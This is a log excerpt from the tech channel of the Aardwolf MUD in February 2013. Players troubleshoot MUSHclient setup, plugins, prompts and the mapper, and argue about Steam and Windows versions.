T3/r7/2013-02-27.txt.gz:{chan ch=tech}Remarto Tech: i think so
T3/r7/2013-02-27.txt.gz:{chan ch=tech}RedRain Tech: Alt-Enter, half way down
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Treblin Tech: Darn almost perfect client. Want to create a Macro with the keypad to use for movement
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Remarto Tech: there is keypad setup
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Remarto Tech: under input tab there is keypad section
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Treblin Tech: well there is one that says Key and im able to add to select it but it isnt showing up in the macro list
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Remarto Tech: its not part of the macro list i dont think
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Treblin Tech: Hold on i was looking and keypad is above macro. Going to see if that works
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Remarto Tech: yeah thats the one i pointed out....
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Treblin Tech: lol you said input before so i was using the input tap
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Treblin Tech: kinda figured keypad would be in the maco section
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Remarto Tech: yes under input the subtab keypad
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Treblin Tech: Well thank you very much
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Mattk Tech: can someone help me?
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Mattk Tech: trying to set up mccp
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Vakieh Tech: What platform/client?
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Mattk Tech: fmud flash client
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Mattk Tech: jus on aardworlf.com
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Vakieh Tech: Download aardmush, from the http://www.aardwolf.com/play/index.htm
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Vakieh Tech: You must have an installed client to use MCCP afaik - the flash and applets do not support it
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Mattk Tech: i downloaded the proxy can i not use it?
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Vakieh Tech: Just dl the ordinary client :-) Already preset with everything like that, including a mapper, stat window and health monitors, etc
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Vakieh Tech: The one under >>Recommended : Aardwolf MushClient
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Mattk Tech: ok so i got the aardmush
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Mattk Tech: so now how do i run the mccp?
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Vakieh Tech: You don't - it is already running
T3/r7/2013-02-27.txt.gz:{chan ch=tech}RedRain Tech: mccp is on in aardmush by default
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Mattk Tech: sweet thanks
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Remarto Tech: okay im looking into accelerators using defult lua of mushclient. what would the key names be for the arrow keys?
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Nokian Tech: So, I just "updated" mushclient and seem to have lost everything, it's gone back to the original layout no pluging etc etc, any suggestions? :)
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Nokian Tech: plugins*
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Vesuviou Tech: did u follow the steps set up by aard faqs?
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Nokian Tech: nope, I just got a prompt when I started mushclient which took me to a web site download
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Vesuviou Tech: there are 5 steps and its important
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Nokian Tech: I simply extracted the files to my mushclient directory. Any suggestions for reversing it, or am I kinda screwed?
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Vesuviou Tech: http://www.aardwolf.com/play/downloadmc.htm
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Vesuviou Tech: all the steps and answer are there, Nokian
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Nokian Tech: and not terribly helpful now that I am this far in, but I'll keep trying on my own I suppose.
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Vesuviou Tech: are u downloading the latest build?
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Nokian Tech: "[27 Feb 09:54:46] Nokian Tech: I simply extracted the files to my mushclient directory. Any suggestions for reversing it, or am I kinda screwed?"
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Vesuviou Tech: are u downloading the r1748?
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Nokian Tech: I already downloaded it, and replaced it in my games folder, I don't know what version it was, it was whatever muchclient recommended I do
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Vesuviou Tech: type checkversion and post ur version pls
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Nokian Tech: yes r1748
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Vesuviou Tech: that the latest 4.89 version u have, so wats the problem?
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Tech: Nokian buries his face in his hand and sighs, shaking his head.
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Nokian Tech: I did not follow the steps in the FAQ. The link MUCH put me to to 'update' did not reference it. So, I downloaded it and simply extracted the files to my mush directory. Now I have lost my layout and all of my plugins and I want them back. This has been my issue the whole time.
T3/r7/2013-02-27.txt.gz:{chan ch=tech}StarsOscar Tech: I am sorry but you learned the lesson of "no backup before upgrade"
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Nokian Tech: See, that's far more helpful, I've asked a couple times if I'm screwed and just needed someone to say yes or no
T3/r7/2013-02-27.txt.gz:{chan ch=tech}StarsOscar Tech: since we do not sit next to you it is hard to determine that
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Vesuviou Tech: Nokian, u need to make s subfolder called r1748 itself under the main directory call mush. Then u unzip the files into r1748 folder u made earlier. 
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Vesuviou Tech: after u have done all that, copy the aardwolf.db into that folder
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Vesuviou Tech: its all in the website in case u need reference
T3/r7/2013-02-27.txt.gz:{chan ch=tech}BlueBeetle Tech: http://www.aardwolf.com/play/downloadmc.htm
T3/r7/2013-02-27.txt.gz:{chan ch=tech}BlueBeetle Tech: those should be included on the faqs on the site imo kinda tricky to find :p
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Vesuviou Tech: yeah, I make a tab to my favourite 
T3/r7/2013-02-27.txt.gz:{chan ch=tech}BlueBeetle Tech: nod bookedmarked it myself
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Vesuviou Tech: very important site tat one
T3/r7/2013-02-27.txt.gz:{chan ch=tech}No pants Travis Tech: how would one got about using keys for 'i' in 'for i in dictionaryOne' to count the total keys in the dictionary (python)
T3/r7/2013-02-27.txt.gz:{chan ch=tech}No pants Travis Tech: i was already going to just use a var += 1 but i dont know how to pull just the keys out of the dict
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Vonliege Tech: I am enjoying Bast's CP Window, but I have noted that it always leaves off the top target (always one less than 'CP Check')
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: do you have  at the end of your prompt?
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: @w at the end of your prompt
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Vonliege Tech: I actually know I don't, because I ran out of colors (max 20, I think) so that might be it... lemme try
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: just for raw color
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Bast Tech: you also need a %c at the end of it
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Vonliege Tech: nope.. I do have it
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Bast Tech: after the last color code
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Vonliege Tech: hmm... I have white twice on my prompt, and once on my bprompt
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Bast Tech: do you have a %c at the very end of your prompt?
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: wow i was at least close to a right answer for once :)
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Vonliege Tech: odd... I keep adding %%c to the end, but it doesn't show in 'p data'...  but shows multiple times in the "prompt set to..." message
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Vonliege Tech: thats with only one %, btw
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Vonliege Tech: ahhh... the game auto-adds the last 
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Vonliege Tech: now that we verified that... how do I get CP Mini window to re-look at my campaign data?
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: reinstall plugin?
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Bast Tech: type cp check
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Bast Tech: or kill a cp mob
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Vonliege Tech: will try all of that (cp ch didn't pop-up the window after 'reinstall')  thanks for the help... I will fiddle with it for a while.
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: just do what Bast said ignore me.
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Vonliege Tech: on a different issue, MUSHClient didn't seem to come with any intregal help files.  Generates a "not found" error.  are those available for DL somewhere, or do they not exist?
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Lorddillon Tech: best gaming windows
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Lorddillon Tech: best gaming windows?
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Redryn Tech: vonliege, try echo Commander Barcett tells you 'Type 'campaign info' to see what you must kill.'
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Vonliege Tech: excelent suggestion, but no :-)
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Is there any way to stop programs lurking on the side of a workspace? I keep pressing enter when switching workspaces on Ubuntu 12.04, and something gets done. Like a system update I hadn't called for.
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Getsuko Tech: Does anyone do scripting in python?
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Gwa'ra'ri Atlanta Tech: I use python.
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Getsuko Tech: Awesome :)  Do you have a python equivalent to the default #alias{}{} alias?  Seems like one would have to create addxml.py
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Ixle Tech: I use some Python but not in MC.
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Gwa'ra'ri Atlanta Tech: that's what the #alias garbage is?
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Gwa'ra'ri Atlanta Tech: no, I program my clients.
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Gwa'ra'ri Atlanta Tech: I don't*  
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Getsuko Tech: I guess that's how it works under the hood when I go look at it.  Looks like there is an addxml.lua
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Getsuko Tech: which is called in the #alias alias
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Tigernuts Tech: i'm beginning to suspect that Steam sucks
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Tigernuts Tech: with it's sometimes-not-connecting, sometimes needing to be reinstalled for no readily apparent reason, and it's sometimes plainly forgetting all the game settings and keybindings
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: never had that kind of issues
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Twisting FatesDagger Tech: I guess steam took a page from microsoft.
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: also, steam doesn't manage game settings and keybindings
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Tigernuts Tech: it's been since this "steam cloud sync" bollocks
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: nah, it's just backup saves n stuff
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: it syncs to the cloud, not the other way around
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Tigernuts Tech: it does a great job of screwing up
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: it doesn't do what you think it does
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Tigernuts Tech: you're right, it doesn't work very well period
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: it just syncs your stuff so you'll have the settings when you install the game some time in the  future after uninstalling and removing the local files
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Tigernuts Tech: constantly updating itself, validating files for no reason, failing to initialise, failing to connect, failing to launch
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Tigernuts Tech: it's like it was bought out by Oracle or something
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Gwa'ra'ri Atlanta Tech: sounds more like something got messed up during the update?
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: sucks to be you. never had problems like that
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Tigernuts Tech: you'd never admit it even if you had
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: heh. why?
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: used steam for years, have 100+ games on. only thing i would complain about is the web interface being sluggish
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Tigernuts Tech: most likely they're just not testing updates on XP based systems
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: oh, and news window popping up when i launch a game. that's annoying sometimes
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: oh, that might explain it
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Gwa'ra'ri Atlanta Tech: you're complaining about performance on a deprecated system?
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Tigernuts Tech: it's not a performance issue
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Tigernuts Tech: and it's not a deprecated system
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: yeah, because liking windows 7 is too mainstream for him
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: xp sucks. just upgrade
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Tigernuts Tech: yeah, how about "no"?
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Gwa'ra'ri Atlanta Tech: xp is nice, but it has different libraries than newer versions of windows.
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: xp was nice only compared to vista. it blows compared to 7
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Twisting FatesDagger Tech: Dag, you know why MS releases a complete lemon OS every once and a while? So people go hey this one works. :P Vista just managed to make Win7 seem like a positive step. Me did that for XP :P
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: nah. nt kernel did that for xp
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Gwa'ra'ri Atlanta Tech: tiger - XP has different versions of many libs and handles many networking and storage operations differently from vista, 7, and 8.  
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: xp is old and outdated. end of story
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Tigernuts Tech: i'm aware of that, atlanta, the appropriate thing for Steam to do was to produce a new version for 7/Vista and leave the old version alone with features
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Tigernuts Tech: not update for the hell of it and screw half their users up
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: and the bugs/exploits?
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Twisting FatesDagger Tech: Hell, vista could have been avoided just by mainstreaming WinXP x64 :P that was the last OS I actually thought MS moved in the right direction on.
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Hanslanda Tech: I would never go back to XP.  XP didn't have support for a lot of stuff, making it hard to cobble together stuff.  Win7 makes networking essentially a plug-n-play feature now.
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Tigernuts Tech: bugger the bugs/exploits, it's got far more now as a result of the change
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: W7 was released in 2009, XP in 2001
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Tigernuts Tech: if we're lucky, a point might follow
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Gwa'ra'ri Atlanta Tech: tiger - either way, this is the internet, you should be able to find a pre-cloud-update installer :)
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: oh, and you can disable steam cloud
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Tigernuts Tech: it's speculation that it's what causes it
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: actually, tbh xp sp3 was released in 2008 and it included some libs and features from vista
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i don't think anything modern would work properly on sp1/2 any more
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: and it shouldn't either. waste of resources
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Michels Tech: Xp was a good operating system. the best there was and by far was untill Win7 came along. Vista was a Win7 wanna-be since The tech was not that good at the time vista was made. It was a epic fail. win7 though fixed that
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: vista was w7 pre-alpha. w7 beta was better and more stable than vista sp1 and sp2
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Tigernuts Tech: well it's always heartening to see the m$ fanclub in town
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Tigernuts Tech: really changes nothing though
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Hanslanda Tech: that's how it always is with MS.  Epic fail followed by small/bigger/epic success, repeat to when MS goes out of business.
T3/r7/2013-02-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: boo-hoo. enjoy using your 12 year old os
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Getsuko Tech: I have lost a miniwin off the top of my screen (and my bast main miniwin!)  -- anyone know how to fix?
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Getsuko Tech: anyone know how to reset the position of the search and destroy window?
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Jaenelle Tech: you can try window, tile vertically, or something?
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Getsuko Tech: Yeah that's for the whole window pane
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Getsuko Tech: Simple solution: remove all the plugins and the window disappeared!
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Ontuct Tech: ever feel like your gambling all or nothing with you PC when windows does an update?
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Tech: Fatal FrostBite crosses his arms and nods slowly and sagely to Ontuct.
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Vonliege Tech: <-- still runs windows NT
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Fatal FrostBite Tech: windows did an update and my bio-scanner stopped working... I don't remember my password. That was fun to recover from. Stupid windows...
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Getsuko Tech: I love the pirates plugin because I can type "pirate map"
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Summoner Yuna Tech: Sneaky Microsoft. I took me 6 clicks and 6 screens to de-active automatic renewal of Xbox Live Gold.
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Getsuko Tech: Is there a way to "bookmark" with the GMCP mapper so I can run to that named room?
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Gnarcyon Tech: if you know the name of the room, mapper find roomname
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Getsuko Tech: thanks!
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Hydali Tech: Ok, this is bugging me. I'm trying to install a few plugins, but when I enter the folder for them, the only thing shown is a folder called state. Nothing else is there. What can I do to fix this?
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bast Tech: how are you trying to install the plugin?
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Hydali Tech: From the plugins menu. The Shift+Ctrl+P one. I think that's the only one. Anyways, I have your plugins ready in the spot it's supposed to be in, but, as I've stated, nothing is there.
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bast Tech: and you are using the "Add" button?
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Hydali Tech: Yes.
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Hydali Tech: I got it working. So, yay for that.
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bast Tech: type "\\\print(GetInfo(60))", what does it say?
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bast Tech: what was the problem?
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Hydali Tech: Apparently, a second copy of the client was installed in the same area, and it went there for the plugins, which weren't there.
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Riddim Tech: q r
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Scars Tech: in response to the latest tech board note.. i'm like 99% sure that that is not true...
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Scars Tech: wait wait wait
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Scars Tech: i was thinking cmud, not zmud
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Scars Tech: nvm
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bloood Tech: is there a way to program mob locations into MUSH ?
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Hanslanda Tech: yes
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bloood Tech: how?
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Hanslanda Tech: it requires you to make a new db (hacking the mapper is a bad idea)
T3/r7/2013-02-28.txt.gz:{chan ch=tech}A Giant Kraken Tech: you don't need to hack the mapper
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Hanslanda Tech: you CAN do it, not real sure that anyone actually has.
T3/r7/2013-02-28.txt.gz:{chan ch=tech}A Giant Kraken Tech: just associate mobs with rooms, and let the mapper do the rest of the work
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bloood Tech: how do i associate a mob with a room?
T3/r7/2013-02-28.txt.gz:{chan ch=tech}A Giant Kraken Tech: you'd need to write some lua to do that bit.
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bloood Tech: is there any of it online for dl?
T3/r7/2013-02-28.txt.gz:{chan ch=tech}A Giant Kraken Tech: not that I know of.
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bloood Tech: so i'd need to make a script basically?
T3/r7/2013-02-28.txt.gz:{chan ch=tech}A Giant Kraken Tech: wouldn't be too hard to write, i'd say
T3/r7/2013-02-28.txt.gz:{chan ch=tech}A Giant Kraken Tech: the time-consuming part would be populating the database
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Tech: Ixle nods at A Giant Kraken.
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bloood Tech: i don't know any lua other than * is wildacard lol
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bloood Tech: i dont mind doing that bit it's the coding idk how to do
T3/r7/2013-02-28.txt.gz:{chan ch=tech}A Giant Kraken Tech: you'd probably want to write something that automatically added mobs when you went in rooms
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Jhav Tech: ... that's not Lua.
T3/r7/2013-02-28.txt.gz:{chan ch=tech}A Giant Kraken Tech: all i've got is a runto replacement that uses the mapper instead of aardwolf builtins
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bloood Tech: so would i need a script to link mobs to rooms or how would it work??
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Jhav Tech: Here's the thing.  People will (and already have) given you the basic outline of what you want.
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Jhav Tech: They are not going to write it for you.
T3/r7/2013-02-28.txt.gz:{chan ch=tech}A Giant Kraken Tech: if i could be bothered, i'd have already written it for myself
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Scars Tech: what you are asking for seems somewhat unnecessary...
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Jhav Tech: Exactly.
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Tech: Remarto rapidly nods twice at Jhav, in complete agreement.
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Scars Tech: if you have the rooms in the mapper, what you want to do is search the mapper
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bloood Tech: how do i search the mapper?
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Remarto Tech: mapper find <roomname>
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Scars Tech: are you using mush? if the answer is no, i cannot help you
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bloood Tech: yes i am using mush
T3/r7/2013-02-28.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: mapper area "something"
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Scars Tech: take the time to read mapper help, it's very very easy to read and very straight forward
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bloood Tech: will do
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Jhav Tech: Wait, I just realized he has me ignored, so it doesn't matter what I say :P
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Remarto Tech: LOL
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Scars Tech: yeah, not exactly helpful to have people on ignore when you're asking for help
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Ixle Tech: rofl
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Jhav Tech: Well, my 'help' would have been to tell him to get off his lazy behind and learn some Lua if he wants a script...
T3/r7/2013-02-28.txt.gz:{chan ch=tech}BlueBeetle Tech: not like he would have gained anything from what he said anyway :p
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Jhav Tech: So perhaps not useful to him, as I know he wouldn't put himself to the effort.
T3/r7/2013-02-28.txt.gz:{chan ch=tech}A Giant Kraken Tech: or, you could bribe someone to write it for you with something
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Scars Tech: i think it's useful to be told that you cannot expect other people to write such involved things
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Ixle Tech: not since winkle got chewed out for it
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Scars Tech: it's one thing to say "what's wrong with my syntax" or "my script seems to stop working here, any ideas"  ... not "so, i'd like XXXXXX, tell me how to script this"
T3/r7/2013-02-28.txt.gz:{chan ch=tech}BlueBeetle Tech: programmers will always have the edge on here so i applaud winkle
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Jhav Tech: This would be a step WORSE than Winkle, really.  
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bloood Tech: i realise that but im a script newbie, never successfully written scripts or lua stuff before and last time i tried i failed miserably, i cant code
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Ixle Tech: True
T3/r7/2013-02-28.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: a 2013 game is not supposed to make you read anything.
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bloood Tech: looking for some help as to where to start
T3/r7/2013-02-28.txt.gz:{chan ch=tech}A Giant Kraken Tech: this *isn't* a 2013 game.
T3/r7/2013-02-28.txt.gz:{chan ch=tech}A Giant Kraken Tech: not even close.
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Hanslanda Tech: just yank their chains a bit.  If someone's going to talk in code, then I'll generally respond in code because they're usually explaining what's going wrong and such.  If they talk in plain text, I'll take the time to write out reams of text in response showing them how to do X without ever giving them any code.
T3/r7/2013-02-28.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: but there is even difference between one plain text and another. you'd need a super judge to figure it out
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Vakieh Tech: http://www.lua.org/pil/
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Hanslanda Tech: this is a late-90s game with an established record of dominance in a niche market.  We're just too big to go unpopular.
T3/r7/2013-02-28.txt.gz:{chan ch=tech}BlueBeetle Tech: im surprised no one says RTFM directly anymore :p
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Remarto Tech: lol
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Birdbrain Metria Tech: It's implied.
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Ixle Tech: I say it to myself all the time
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Vakieh Tech: I provided the manual :-P
T3/r7/2013-02-28.txt.gz:{chan ch=tech}BlueBeetle Tech: i know and i said directly
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Hanslanda Tech: it's more fun when you wasted the telemarketer's time by keeping them on the line longer than they want to be.
T3/r7/2013-02-28.txt.gz:{chan ch=tech}BlueBeetle Tech: blood was selling something ? :p
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Tech: Remarto peers around himself intently.
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Hanslanda Tech: my uncle once had one on the phone for half an hour, leading him on the whole time.  Finally got down to brass tacks, and he refused to buy anything.
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Hanslanda Tech: we don't talk to him anymore, since he was hired by said telemarketer the next day.
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bloood Tech: lol
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Tech: Remarto buries his face in his hand and sighs, shaking his head.
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bloood Tech: what's the use of winkle winkle's s+d plugin if gq and cp mobs are no hunt?
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Runtur Vanion Tech: how will you know the use if you dont try it
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Scars Tech: rtfm
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bloood Tech: i have rtied it
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Runtur Vanion Tech: heh
